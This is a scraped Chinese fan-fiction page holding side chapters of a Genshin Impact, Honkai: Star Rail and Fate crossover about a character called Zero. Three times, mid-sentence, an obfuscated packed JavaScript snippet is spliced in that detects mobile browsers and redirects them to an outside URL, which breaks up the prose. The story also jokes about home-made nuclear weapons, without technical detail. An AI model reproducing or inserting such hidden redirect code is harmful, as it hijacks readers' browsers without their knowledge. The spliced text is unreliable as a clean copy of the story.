人类是有多么强烈的愿望和记忆才得以驱动「神之眼」驾驭力量啊，这份力量大概就是我理解的「信念」。 突破的感受·合： 也有很多没有「神之眼」的人类有超出其渺小力量的强大「信念」，这正是文明得以延续的关键。 元素战技·其一：定理。 元素战技·其二：推导。 元素战技·其三：奇点。 元素战技·其四：π等于…… 元素战技·其五：角动量。 元素爆发·其一：万象归零。 元素爆发·其二：引力势阱。 元素爆发·其三：熵焓俱用。 打开宝箱·其一：让我看看！ 打开宝箱·其二：这是什么？ 打开宝箱·其三：四舍五入等于不亏。 角色关联语音 云堇·关于零： 零是退休的乐师爷爷介绍的琵琶手，也是我非常珍视的人。从刚来云翰社时的懵懂茫然，到以技艺折服所有乐师，再到慢慢变得生动活泼，她的演奏也越来越有人的情感，每一个时刻都让我难忘，感觉像是在呵护珍宝。 辛焱·关于零： 和零在一起，有一种玩女儿养成游戏的感觉，总让人忍不住为她准备这个准备那个，每次看到她面对喜欢的事物露出的喜悦表情，面对犯愁的事物露出的苦恼表情，就很想上去捏一捏揉一揉，超可爱的有没有！ 钟离·关于零： 看到她觉醒了人类的情感，体会到文明延续的意义，正视个人的价值，由衷为她高兴。不过目前重塑的躯体并不稳定，虽有我帮忙，但不是长远之计。所以，尽量不要带她去战斗，战斗的事情可以找别人，比如我……你说她同意旁观战斗？唔，那也没办法了，还是要多加注意。 行秋·关于零： 说真的在容彩祭上把我吓了好大一跳！还好后来我们成了很棒的商业合作伙伴。托零小姐的福，我在家里也算有底气说话了。不过我爹总是和其他老戏迷们一起嘀咕零小姐的连帽衫，真是的，往来璃月的纳塔商人好多也这么穿，有什么好嘀咕的嘛！ 胡桃·关于零： 其实我在万文集舍见过她好几次！如果去容彩祭，应该是不错的搭子吧？可是我真的被她的算学课和算学题吓怕了，岩王爷在上，我从小到大都没做过那么多那么难的题。客卿说我这是被“一物降一物”，嗯哼哼，下次我要送他三册习题集，做不出来就不发工资！ 温迪·关于零： 没想到老爷子的同源竟然这么有趣，还和我很有共同话题，以后的生活会变得更加有意思起来。我们还约了一起去月……没什么，诶嘿~！ 18.番外四·我寻思这建木没人要了[番外] “不知道如果把仙舟将军变成一名虚卒，罗浮会不会再来一次内乱？这样的「毁灭」比较有趣呢。” 绝灭大君幻胧，头顶的三层六瓣莲花，从里到外，层层变化成明亮的金黄，深沉的暗橙，以及诡异的猩红。 瞳孔也变为毁灭命途之色，六根巨大发簪饰于左右，在「毁灭」权柄的加持下，如掀起漫天黄沙，要将此地化作无尽的绝望。 当然「毁灭」的纳努克流淌的金色血液，其光芒比幻胧耀眼无数倍，那是不同层次的力量。 “丹恒！就是现在！” 天穹之上，巨大的金色神君，对着绝灭大君幻胧，高高举起手中散发着白色光芒的神兵利器。 丹恒毫不犹豫，使尽全力投出长枪，在千钧一发之时切断了景元和幻胧之间金色与绿色的毁灭能量链接。 瞬间，神君降下金色雷霆，彻底击溃了幻胧的身躯。 景元被青色的水保护，缓缓落下，被丹恒接住。 幻胧化为了金色的火焰，讥笑着：“干得不错，「巡猎」的将军。但我失去的不过是个随手捏制的肉身。而你，还能坚持多久？仙舟的毁灭之日就要到了。” 拒绝了旁人的搀扶，景元支撑着身体站起，一步一步走向那团名为幻胧的鬼火，眼神坚定且锋利。 正在此时，一个突如其来的变故打破了战场的平衡。 虚空中突兀地出现一个黑点，随着旋转渐渐扩大，黑点成了黑洞。 这个黑洞，如同宇宙中的幽灵，悄无声息地出现在鳞渊境的深处。 其力量之强大，足以吞噬一切，包括星辰与生命。 “啊！——” 幻胧，感受到了黑洞的威胁，试图逃离，但黑洞的引力却如同无形的锁链，将其紧紧束缚。 瓦.尔.特.赶紧提醒：“大家退后！” 在所有人的眼前，幻胧，这位曾经不可一世的绝灭大君，在惊恐与绝望中，被黑洞活生生地无情吞噬，连同周围的虚空与能量，一同消失在了深渊之中。 令使会被黑洞轻易地吞噬吗？答案是否定的。除非这个黑洞的力量已经超出了令使的概念。 然而，黑洞的吞饕并未就此停止。 仿佛有意识一样，在吞噬了幻胧之后，黑洞并没有朝着刚刚经历了一场大战的众人发起攻击，而是转向了建木。 建木自玄根起，开始颤抖，其枝叶逐渐失去了光泽，光芒黯淡，逐渐被黑洞吸干了力量。 最终，建木完全枯萎，化成的齑粉也被黑洞完全吞噬殆尽。 建木，由「丰饶」星神留在罗浮仙舟上的古树，能任意型塑生命，征服死亡的神迹。 就这样在所有人面前，完完全全地消失了。 跟仙舟缠绕在一起，没法轻易剥离的建木，就这样一点粉末都没留下。 事情发生的太突然，所有人注视着黑洞像是吃饱了饭一样渐渐缩小成黑点，直至不见。 在黑点消失的地方，浮出一个穿着画着大大的∞符号连帽衫的人类，黑色头发的末梢闪烁着星海的光辉，她睁开双眼，星海般的瞳孔从失焦的茫然逐渐聚焦凝神。 正在此时，「毁灭」的纳努克缓缓投下沉重而冷酷的视线，仿佛能穿透一切，将所见之物都笼罩在一片死亡的阴影之下。 在视线凝聚到此处的一瞬，岩金色的玉璋护盾猛然出现，星海间最坚实的壁垒，稳稳接下那股足以撼动星球的毁灭力量，将其温柔地化解于无形。 守护之下，罗浮仙舟安然无恙，除了鳞渊境的几位目击者，其他人压根没意识到发生了什么。 脚步声响起，回头一看，一位陌生的男子向他们走来，衣襟与袖口绣着繁复精细的岩金色图案，闪烁着淡淡的辉光，步伐沉稳内敛，却带着一丝不怒自威。 他开口道：“纳努克，我们原本的目标是建木，但「毁灭」的令使吸收了建木的能量，无可奈何之下只得一视同仁了。” 三月七忍不住吐槽：“一视同仁是这么用的吗？” 穿着连帽衫的人类长着一脸清澈大学生的模样，她也抬起头对着虚空说：“建木是「丰饶」留下来的，罗浮人也不是很喜欢，我寻思这建木没人要了，给我正好。怎么会想到你的令使会鸠占鹊巢呢？” 开拓者当了三月七的复读机，吐槽：“鸠占鹊巢是这么用的吗？” 「毁灭」星神闻言，竟然收回了视线，消失了。 “啊？星神那么给面子吗？”一岁的浣熊宝宝童言无忌。 稳如磐石的陌生人莫名给人一种安全感，他说：“我们并无恶意，具体可以坐下详谈，当务之急是仙舟将军需要休息。” 景元感受到了对方的善意，身体机能也实在是撑不住了：“回去再说吧，其他事交给符卿操心好了，我只觉得……有些困倦了……” 等到景元伤势转好，慰灵奠仪结束后，才在神策府见到了两位不速之客。 名为「钟离」与「零」的异乡人。 一个自称来自于提瓦特星球，一个自称来自于地球。 零将琵琶放在一边，刚才星槎海的坤舆台上她缓缓弹起折柳曲，送别抚慰逝去的亡灵。 钟离将来意据实以告：“零重塑的躯体并不稳定，目前靠我帮忙，但不是长远之计。听闻「丰饶」有建木留于此地，建木对于罗浮人百害而无一利，故而想借以建木之力稳固，还能解决罗浮的一大祸患。未曾想「毁灭」令使挑动内乱，危急之时来不及解释，只得先下手为强，还望谅解。” 闻言，景元道：“没想到群星间还有能吸收建木之人，果然宇宙之大，无奇不有。” 零比划着：“因为里面有个黑洞嘛，什么都吃只会让我营养均衡。” 虽然对同样来自地球的零有莫名的亲切感，但瓦.尔.特.经验丰富，和景元一样并没有放下疑惑，说：“能挡下星神的毁灭之力，阁下实力非同小觑。” 钟离缓缓道：“星神与我们认识，故而给了几分薄面，手下留情罢了。” 零点点头，换个1818黄金眼的角度想，何尝不是一种大房东拿着产权证，二房东负责装修、出租、维护。 钟离委婉道：“我们不认为纷争是智慧生灵间唯一通行的语言，延续文明，阻止崩坏，才是我们秉持的初心。” 言下之意，使宇宙完全和平，唯一的结局只有完全寂灭。全都死光了，可不就和平了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472662|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？有文明的地方必然有大大小小的纷争，但这并不是唯一，延续文明，阻止生灵涂炭，才能维持宇宙不崩坏。 浣熊宝宝发表言论：“这不就是切嗣爸爸参加圣杯战争的剧情嘛！” 零对浣熊宝宝好感度暴增：“哇，你也是月球人！我们加个好友方便助战。” 被夸奖的浣熊宝宝有些不好意思，但又骄傲地掏出手机互加好友。 双方家长都悄悄一滴汗。 钟离使用转移话题大法：“还是要感谢各位的帮忙，现在重塑的躯体应该不太会裂开了，可以独立运行了。” 零大喜：“我可以自己一个人到处逛了吗？” 钟离无情地扼杀幻想：“相当于你现在刚拿到驾照，还有实习期要过，过了实习期才能一个人到处逛。” “不要紧不要紧，这样有盼头了！”零没有沮丧，“能在星海中有情感有知觉地遨游，我从来没有体验过呢。” 景元露出笑，说：“我先前已经表达了对列车团无名客义举的感激，现在也要感谢两位的义举，无论如何，祸乱已平，建木问题得以解决，一举多得。” 钟离道：“多谢将军谅解，此行给仙舟罗浮差点造成「毁灭」的注视，以后如仙舟航至命途抉择有难之时，我们自当相助。” 他话中有话，景元一时半会儿没听懂，但还是接受了好意。等到后来在幽囚狱听到罗刹和镜流的话语，景元才回想起此时此地此言。 神明对弈的棋盘上，渺小的力量不站在胜的那方，就是输家。除非有高于棋盘的手，将其从中挪开。 钟离又向列车团无名客们表达了感谢：“阿基维利曾铺设星轨，联通诸星，飞驰暗域，泽被寰宇。假如无名客只是追随星神的脚步根本就不是开拓。为表达谢意，我们愿意帮助银河列车从命途中获取穿梭诸界的力量，才不负阿基维利的初心，真正踏上开拓的命途。” 由数据和算法构成的宇宙建模，在手中展开，在神策府会客厅的正中央逐渐变大。 随着超星系团的壮丽图景正被缓缓勾勒于虚拟的维度之中，无数星球的锚点如同星辰般次第亮起，宛如夜空中最璀璨的灯塔，每一颗都承载着未知与奇迹。 每一个锚点背后，都隐藏着一个可能的世界，那里有奇异的生物、未解的现象，以及等待被记忆的历史。 那些闪耀的锚点，是星球的呼唤，它们静静地悬挂在虚拟的宇宙模型上，诱惑着那些渴望真正走上开拓命途的无名客。 零注视着如梦一般的虚拟宇宙消散，说：“如果走完「开拓」曾经的旅线后，想要真正步上「开拓」命途，可以随时联系我，或者在终点站裴迦纳告诉我。” 这是很久以后的故事了，星穹列车在群星间发生了一件撼天动地的大事，大到「记忆」星神亲自记下了一切。 列车停在了天蛇船星际泊场边上的修理厂维修，列车团下车后见到了前来迎接的钟离。 开拓者问自己的助战好友去哪儿了。 “她重塑的躯体稳定下来，过了实习期。”钟离答，“所以她去参加圣杯战争了。” “可恶！”小浣熊生气，“这么好玩的事情为什么不叫上我！” 19.番外五·圣杯的压力山大[番外] “神性是debuff。”零严肃地说，“温迪老师，记住，千万不要召唤出神性从者，比如金色的皮卡皮卡。” “诶——”温迪拖长了音，“神性在这里竟然那么没用吗？” 他看着召唤阵的图纸，和手上那管金色的液体：“圣杯战争还有说明书？你这个圣杯战争正不正经啊？” “都有开幕式了，怎么可能不正经嘛？” 记忆回到白天的开幕式。 在「月灵晶体·自律演算器」，简称MOONCELL，以及「人理存续保障机构菲尼斯·迦勒底」，简称迦勒底的合作下，一场别开生面的圣杯战争自此开幕。 迦勒底的戈尔德尔夫·穆吉克新所长进行了开幕演说。 “嗯咳咳，为推动魔术进阶知识、综合能力及魔术研究等方面的潜能，助力魔术教育的发展。现由「月灵晶体·自律演算器」，简称MOONCELL，与人理存续保障机构菲尼斯·迦勒底」，简称迦勒底，联合举办第一届崩坏月球杯御主魔术能力应用竞赛，赛事面向所有御主，即从高规格的赛事中，发现和培养更多的人才，在此，欢迎广大御主踊跃参与！” 台下，温迪一边装模作样鼓掌，一边悄悄说：“这个发言怎么很耳熟。” 零一脸司空见惯：“各大校运会校长发言不都这样嘛，教令院举办学术交流比赛也是一样的说辞。” 看着岸波白野、藤丸立香、沙条爱歌、卫宫士郎等一干御主排队上台领取说明书和金色溶液，不知为何，零生出一种「不知道现在圣杯压力大不大」的奇怪想法。 开幕式结束后，她将自己的想法和温迪分享。风神愉快地指出：“你是想看圣杯的乐子，还是那些御主的乐子？” 零诚实地说：“都想看，圣杯的更大一些，毕竟想象不到这些身经百战，有的甚至见过无数圣杯的御主们还有什么愿望需要这个圣杯来实现。” 无论如何，先根据要求完成召唤。 两人在河边寻找了一块平整的空地，用温迪的话来说：“这里有四面八方风的气息。” 在开始画召唤阵之前，零发出了开头的告诫。 温迪看了一下说明书里的召唤阵，问：“如果溶液用完了，召唤阵还没画完怎么办？” “……不知道。” “诶嘿，还是我想得周到。”温迪不知从哪儿又掏出一支试管，“早有准备。” “你这是从哪儿来的？” “风的气息告诉我，那个叫沙条爱歌的御主，用自己的血液画了召唤阵，我在吃晚饭休息的空档，就顺路把她不要用的溶液带回来了。” 你这个顺路还真的好顺路啊。 话虽如此，两位的确都是画召唤阵的新手，最后竟然还真的各自用了一管半的溶液。 然后拿着说明书，照着念出召唤英灵的咏唱咒文。 “……” “穿越抑制之轮出现吧，天平的守护者！” 空地的风势一下子大了。 温迪心里想着刚才零的嘱咐，默念着“不要神性不要神性”，接着听到了一个有点耳熟的声音。 “本次以Rider的灵基现界，真名是，太公望~！啊，无论是吕尚还是姜子牙还是姜太公，想怎么称呼我都可以哦。” 太好了，不是神性，是神性特攻，我们有救了！等等…… 温迪捏了捏隔壁零的胳膊：“我怎么恍惚间听到老爷子的声音了。” 零平静地回答：“考哥.jpg” 她面前的召唤阵上出现了可爱的男孩子，用稚嫩的、生疏的，似乎是在模仿人类的口吻问：“I ask you. Are you worthy of being my master?” “呜呜呜，竟然是旅行者号！”零抱着小小的探测器一阵乱蹭，“圣杯战争结束后也不要回去了，跟我一起去旅行吧小王子！” 小小的探测器已经蚊香眼了，被隔壁新成立的养老组联手救出来。 温迪抗议：“为什么叫我们俩是养老组啊？” 零指指温迪，又指指笑眯眯的太公望：“都是老人家，可不就是养老嘛。” “说起来你和老爷子本源，也算是老人家吧！” 零果断双标：“好的，我们合起来叫绿卡队吧，反正都是绿卡。” 太公望不愧是社牛达人，主动邀约：“事已至此，我们不如围炉夜话，顺便钓个鱼吧。” 所以重点是钓鱼。 四个人优哉游哉地在河边架起篝火，煮了奶茶又煮了泡面，根本不像是来参加圣杯战争。 旅行者号从来没有体验过这种人类野营活动，非常新奇。 零带着一丝莫名的骄傲，说：“人类活动很有趣吧，我也觉得很有意思。” 从严格意义上来说，河边露营组里没一个是人。 但从宽泛意义上来看，唯一一个靠谱又不靠谱的前人类太公望发挥了其固有技能——社交恐怖分子，简称社恐，在搭篝火煮泡面的过程中竟然已经和三个非人类混熟了。 对此，零评价：“有这个声音的都是社牛超人吗？” 温迪接梗：“前面你还跟我说考哥.jpg” “可是温迪老师。”零说，“你想想，你曾经的同事，虽然也是社牛，但是会在你面前露营钓鱼、谈笑风生，顺便还诶嘿吗？” “有画面了。”温迪痛苦地说，“我们先抛开老爷子不提吧。” 正在此时，河的对岸远处，响起了爆炸声。 已经有御主开始战斗了。 小王子担心地问：“不要紧吗？” “没事哟！”温迪面对孩子特别温柔，“我们只是来玩的，也不在乎圣杯，就让我们在这段时间里快乐地度过吧。” 太公望笑着说：“哎呀哎呀，第一次遇到像度假一样的圣杯战争。” 快乐的话不能说太早，刚倒完露营壶里最后一杯奶茶，意外的攻击突然袭来。还好太公望回以打神鞭一招挡下。 少女清丽又带着病娇的脸庞出现在不远处：“拿了我的召唤溶液，还不献上你的命来？” 零看着温迪：“原来你没跟她打招呼啊……” 温迪眨了眨眼：“直觉告诉我和她搭话会变得不幸，所以我就用一缕清风带走了。谁想到这里的御主这么敏感啊？” 那是当然啦，这可是沙条爱歌啊！ 沙条爱歌见两人窃窃私语，更加恼怒：“Saber，杀了他们。” 她的身边出现一个漆黑的骑士身影，不祥的污染在周身升腾。零还是靠身形和被拔了呆毛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480910|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发型，判定了真名：“糟了，是不讲道理的Alter。” 亚瑟·潘德拉贡[Alter]，被污染的英灵，在沙条爱歌的眼里，比之前纯白的骑士好控制多了，毕竟她已经能接触「根源」。 温迪当机立断：“小王子，你保护住你的御主，接下来的事情交给我们大人。” 旅行者号抱起零：“master，接下来要重力助推啦。” 零指挥：“先给大人们上个宇宙止境的加护。” 暴击星集中度提升，绿卡性能提升，暴击威力提升，被暴击发生耐性提升，一连串BUFF下去后，果断把事情交给靠谱的大人们，助推器的力量带着master升到了半空。 风的权能与思想魔术配合默契，很快将Saber击到节节败退。 沙条爱歌眼见形势不妙，正要召唤Saber撤退，零指了指助推器：“小王子，突袭！” 助推器换个方向，从天上往地上砸，不就是导弹嘛。 Saber组淘汰。 温迪落到地上，高兴地说：“小姜真厉害，我们俩第一次配合战斗就很成功。” 太公望笑眯眯地摸着四不相的脑袋：“御主真是人不可貌相。” 温迪摆摆手：“谈不上谈不上，我只是一个柔弱的吟游诗人，临行前受老友所托多加关照，勉力而为罢了。” 小姜…… 零指指地球历公元前1000多年的人物，又指指提瓦特历一代至今的风神，默默放下了手，行吧，你俩各论各的。 刚刚的战斗提醒了绿卡队们，现在还是圣杯战争，不是纯度假。 零伸出手，圣杯战争的实时动态地图模型出现在虚空之中。 温迪说： “你之前跟我说的修地球就是为了这个？” “不是地球，是「拟似地球环境模型·迦勒底亚斯」。”零强调，“你想，这群毁天灭地四舍五入人人都有35星的御主，怎么能在现实世界进行圣杯战争呢？当然要进虚拟世界啦。” 她用手指在模型上划拉：“只要提前将解析迦勒底亚斯的「灵子演算装置·特里斯墨吉斯忒斯」以及「虚数观测机·平面之月」，导入我提前做好的「月灵晶体·自律演算器」备份系统，就能顺利掌握后台数据了。” 旅行者号恍然大悟地点点头：“原来如此，master是量子黑客。” “也不能这么说吧……嗯，反正我不善战斗，如果掌握了实时动态，就能避开战斗，难道不是好事吗？” 顺利避开了战斗，绿卡队们愉快地度过了外面战斗最激烈的时光，直至最后「虚数观测机·平面之月」的AI管理员B.B.终于发现哪里不对劲了。 “所以你们这两组根本没战斗是吗？为什么圣杯的能量已经满了？！”管理员发出了数据矛盾的尖叫。 零理所当然地说：“活动刷柱子，我没刷几根，柱子总数就竟然已经击破了一半有余，数字阴兵过境多正常啊。” 可恶她说得好有道理，AI竟然无言以对。 “事已至此，大家都知道是怎么回事，不如许个愿吧。”零温柔地对藤丸立香说。 立香颔首，认认真真地在有别于以往，散发着星辉的圣杯前，放下了一块草莓蛋糕。 -end- 20.番外六·实习期上路考核（上）[番外] 此「上路」到底是不是自己理解的那个「上路」？ 重返提瓦特星球的双子，接到的第一个委托就来自空的老主顾，关于「上路」的委托。 老主顾一如既往地穿着那件已成派蒙全文背诵标杆的连帽衫，双子见到她的时候，地点正好在往生堂。 这很难不让人多想到底是什么含义的「上路」嘛！ 双子和派蒙心有灵犀地面面相觑，这三个把日子过好比什么都强。 零把耳机拿下来，解释：“这里比较清静，没什么人，适合看一些干货。” 所谓的干货…… 目光转移到平板，上面刚刚暂停了一个视频，标题为： 《如何在宿舍制作一颗简易原子弹？》 同时，边上列表里的推荐视频有： 《如何在宿舍自制氢.弹.？》 《如何在宿舍自制一枚洲际弹道导弹？》 《如何在宿舍造一枚液体燃料火箭以投掷自制核武器？》 派蒙，提瓦特大陆的「原初永恒统辖矩阵」，看着自己的第二缔造者，艰难地挤出字眼来：“我哪里做的不好我可以改……” ？ 零的脑袋上冒出一个问号来：“派蒙很好啊，没什么不好的。我的委托内容其实主要是咨询。” “你们遨游星海，见多识广。”她神情郑重，让双子也不由自主地正襟危坐，“我想问问，你们知道哪个星球有热心摊主提供铀这类便于链式反应的元素黄饼成品？” “啊？”这是来自双子和派蒙三个的异口同声。 零犹豫了一下，语气退让了一步：“或者现成的钚核？可以走批发价。” “啊？”这还是来自双子和派蒙三个的异口同声。 空决定换个方式了解委托：“你要这些干什么？” “为了完成实习期上路考核啊。” 于是刚回提瓦特的双子，连带着派蒙，听到了一个神奇的故事。 重塑的躯体在不懈努力下终于得以稳定，零也学会了控制力量，进入了钟离所谓的“实习观察期”。为了最终决定能否度过实习期，钟离安排了一个所谓的“上路考核”。 派蒙谨慎地左看看右看看，往生堂一如既往的门可罗雀，于是她悄声问：“那么考核内容是什么？” 零倒是很笃定周围没人，自然地划开平板，给他们看自己目前的方案进度：“彻底解决海中被封印的魔神问题。” 哦，海中魔神啊，那没事……等等！—— 空回过神来，睁大眼睛，一时间说不出话，比划着指了指孤云阁方向，又指了指平板。 荧帮哥哥配音：“就是之前天动群玉阁封印的漩涡之魔神吗？” 空帮妹妹的配音填补缝隙：“也不完全算是封印。那个时候达达利亚利用百无禁忌箓的力量只是松动了孤云阁的封印，让漩涡之魔神的一小部分出来了，后来凝光用群玉阁把奥赛尔重新砸回封印里去了，主要作用是加固。” 派蒙总结：“所以钟离说的「彻底解决」是要先把封印完全打开？那样别说是璃月港了，沿海地区都会受到影响吧！” 她的眼前仿佛出现了云来海上奥赛尔和跋掣掀起几百米高的海啸，将大地全部淹没的可怕灾难。 零安慰：“不会啦，如果是这样，我的考核也算不合格了。”她眼中充满自信，“我和温迪老师约好了要出去玩！这次我必须准备充分，圆满完成！” 接着话题再度回到委托上。 荧说：“难道你想用核武器对付魔神？” 不知道是核武器惨一点，还是漩涡之魔神惨一点。 零把平板往下划拉给他们看：“我目前已经研究了魔神残渣的特性及活性成分，并且通过采样实验完成了实践研究，总结了一些心得。” 看着长长的论文里密密麻麻的数据，派蒙表示十分感动这种学术精神，然后不用再看了，直接说下去吧。 对于派蒙这种字太多不想看的文盲行为，现在的零已经见过不少了，非常习惯，继续说：“要求是保持人类躯体不裂开崩坏的前提下，不波及无辜，彻底解决海中被封印的魔神问题。死线是海灯节之前，我调研论文写完后发现根据排好的计划表，时间不多了。” 说得倒也是，现在璃月快要过逐月节了，过完逐月节就要过海灯节了。 也是个大头鬼。 听上去就像是刚刚开学第一天，老师跟你说马上就要期末考试了。 双子互看一眼，有必要自制核武器吗？ “我没有武力，要解决这个问题，当然只能储备一些火力，越多越好，当然需要时间。”零补充，“这就是老师说的「火力不足恐惧症」吧。” 这么听起来的确是时间紧迫了一点。 但双子还是表示了爱莫能助，哪怕有丰厚的报酬在前。 毕竟星海之中哪有这样的“热心摊主”，阿哈看了都得甘拜下风。 “这样啊……”零略显失望，但没有垂头丧气：“其实我有备选方案，就是操作起来比较麻烦一点，算了，先不提这个。” 她收起平板，站起身，掏出一张积分卡：“我请你们喝奶茶吧，我已经攒了一个点，这次点四杯，下次就能免费换一杯了。” 四个人溜达去奶茶店，点了四杯新品「绝云间茉莉雪」。 在边上站着等店员摇奶茶的当口，派蒙背着手在半空中晃来晃去，突然眼尖地看到了不远处走来的两个人：“诶，那两个不是钟离和若陀龙王吗？” 方舟跳跃至仙女星系后，虽然人类文明得以延续，但是星球内部遗留的问题繁多，七国各自都忙着收拾烂摊子。 璃月早就以七星执政为主，可遭此一劫，再加上钟离的离去，一时间有些顾此失彼。 幸而若陀龙王在古龙大权和重新编纂的星球逻辑架构作用下，自磨损中恢复过来，和仙人们一起搭了一把手。 待星球正式步入正轨，重塑躯体又薅了人类大树羊毛的零和钟离回到提瓦特时，仙人们早已要么隐退云间，要么藏于市井。若陀龙王也辞去职务，在辉山厅「薅薅璃月的社保羊毛」（零如是说）。 当然，钟离对老友「薅薅璃月的社保羊毛」的行为十分高兴，老友能从磨损中恢复，已是一大幸事，反正薅的是璃月七星的羊毛，何乐不为。 现在，龙王的羊毛薅到零的头上来了。 “哟，小姑娘买奶茶啊。”高大如山的龙王老大远就看见了奶茶店门口的四人，走过来招呼，“给我也带一杯呗，嚯，你积分卡满五个点了，正好免费换一杯啊。” 零难以置信，只有自己薅别人羊毛的份，怎么别人薅到自己这里了。 于是她选择灵活机动地提高辈分：“谁是小姑娘？论岁数得叫我奶奶！” “哈？按你这个歪理，我还得叫摩……钟离爷爷？” 在纳塔当过“爷爷奶奶”的双子听了无语，默默挪开几步，远离零和若陀的小学生辈分争论。 同样挪开距离的还有钟离，他假装不是和若陀一起过来的样子，似乎对于这种小学生争论完全习惯了，不动如山地开始自己的话题：“零是找你们下委托了吗？” 派蒙摇摇头：“下了，但又没下成。” 钟离颔首：“如果她是下核武器相关的委托，那肯定是没下成。……当然，哪怕你们真的有渠道，也别告诉她，我可以另外支付报酬作为答谢。” 双子赶紧摆摆手，同时表示，自己很清楚核武器不是什么开玩笑的玩具。 钟离说：“其实核聚裂不是问题，这是恒星中无时不刻出现的场景。主要是提瓦特只是一颗行星，云来海经不起她一口气这么砸。” 核聚裂就是问题好吗。 双子心有灵犀地默默吐槽，都不想说啥了，选择让“神之嘴”派蒙出马。于是，派蒙问：“你和她定契约的时候没有限制不能用核武器吗？” 钟离说：“我没有和她立过契约。” 面对神情明显诧异的双子，璃月的契约之神道：“用零的左手右手理论来解释就是，你的左手会和你的右手立下契约吗？” 双子摇头。 钟离满意地总结：“正是如此。” 此时，奶茶店恰到好处的叫号声结束了小学生辈分的争论。 在若陀龙王“小气”的嘀咕声中，零心满意足地喝了一口店家强推的新品「绝云间茉莉雪」，点评：“嗯嗯，很像伯牙绝弦！” 还没喝第二口，她像派蒙一样眼尖地看到了不知道什么人，慌忙把奶茶往正在嘀嘀咕咕的若陀手上一塞，先是躲到钟离身后，又似乎觉得钟离藏不住自己，再转移到龙王身后，相当灵活机动地自我降低了辈分：“若陀叔叔！让我躲躲！” 若陀被这番操作搞得愣住了，手上拿着奶茶杯，正要问个究竟，那个「不知道什么人」走了过来。 正是云堇。 经过这几年，云堇愈发大气成熟，她先和双子、派蒙打过招呼，再过来，客气地说：“钟离先生安好，龙君安好，可否见到阿零去哪儿了？” 若陀似乎明白了零自我降低辈分也要躲起来的目的，他看向钟离，眼睛隔着镜片都在无声地透露出“你来摆平”的信息。 钟离无奈，于是微笑道：“零近日被杂事缠身，不知云先生找她有何事？” 也没说去哪儿了，转移话题这个技能一直被他运用得炉火纯青。 云堇也不客气了，只有与零相关时才会显现的姐姐气势出来了，说：“我上次和她说好去裁衣服，她一直拖拖拉拉，明日复明日，明日何其多，今天我得和她定下时间才行。” 懂了，这是“奇迹零零”活动复刻。 钟离当然明白裁衣活动复刻主角是有多么不愿意被裁缝折腾，又碍于云堇对于换装活动的热忱，只好勇当咕咕的行为。 他瞥见躲在若陀身后露出一副「躲避裁衣，只恨未逢恩人，公若相助，愿拜为义父」的当事人，忍着笑意提出建议：“云先生也知道她耐不住裁缝，其实以前那个尺寸就能用，我们这类……形态不太会有变化。” 龙王身后的复刻活动主角一脸“你说的对”，疯狂点头点头再点头。 听到钟离这么说，再看他脸上的笑意，云堇早就明白为什么龙君拿着奶茶杯动也不动。她颔首，故意朝龙君那里扬声说：“那等成衣出来，阿零可不能再逃了，食言者当受食岩之罚。” 目送着云翰社的当家人离去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617747|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，零从若陀背后探出头来，舒了一口气，再度灵活机动地发了好人卡：“钟离好人，若陀叔叔也好人！” 若陀龙王“哼”了一声，将奶茶杯递给她：“现在又叫上叔叔了？你这个辈分倒是比海上的天气还多变。” 零明显比以前在提瓦特时通人情世故多了，转身换了一杯，又买了一杯，塞给龙王和钟离。 若陀拿着奶茶震惊了：“你居然这么会做人情了？” 零自豪地说：“这可是我在互联网大厂兢兢业业当社畜学来的人类技能。” 若陀吐槽：“社畜这个词听上去就不是什么好词，还能给你得意上了。” 零随意地摆了摆手，没再回应，转过身问双子：“你们待会儿要去哪里？我要去望舒客栈拿新一批样本。” 想着也许久没去望舒客栈了，横竖现在没有明确的目的地，双子欣然提出同去。只有派蒙脑子没转过弯来，问：“什么样本？” 荧偷偷戳了戳她，提醒想一想前面讨论的内容。 派蒙总算反应过来：“啊？这也有样本供应？” 旅行者们已经猜到了样本供应者是谁。 钟离闻言，只嘱咐：“样本不要当场处理，回来再处理。” 零应了一声，快快乐乐地拉着荧的手往锚点走去。 望着四人离开的背影，龙君感慨：“倒是比以前有人味多了。” 钟离戳开奶茶盖子，说：“她的确在非常努力学习人类，比我们努力多了。” 望舒客栈的大树顶上，约定的时间，约定的地点，样本供应者魈果不其然等在那里。 方舟跳跃至此，星球的规则被覆写，作为架构者，在躯体稍微稳定后，零专心研究的提瓦特星球课题就是魔神残渣的污染。 魈自告奋勇成为她的实验品。 可喜的进度是，至少作为金鹏个体身上的污染完成了净化——虽然能量可持续利用还在研究过程中。 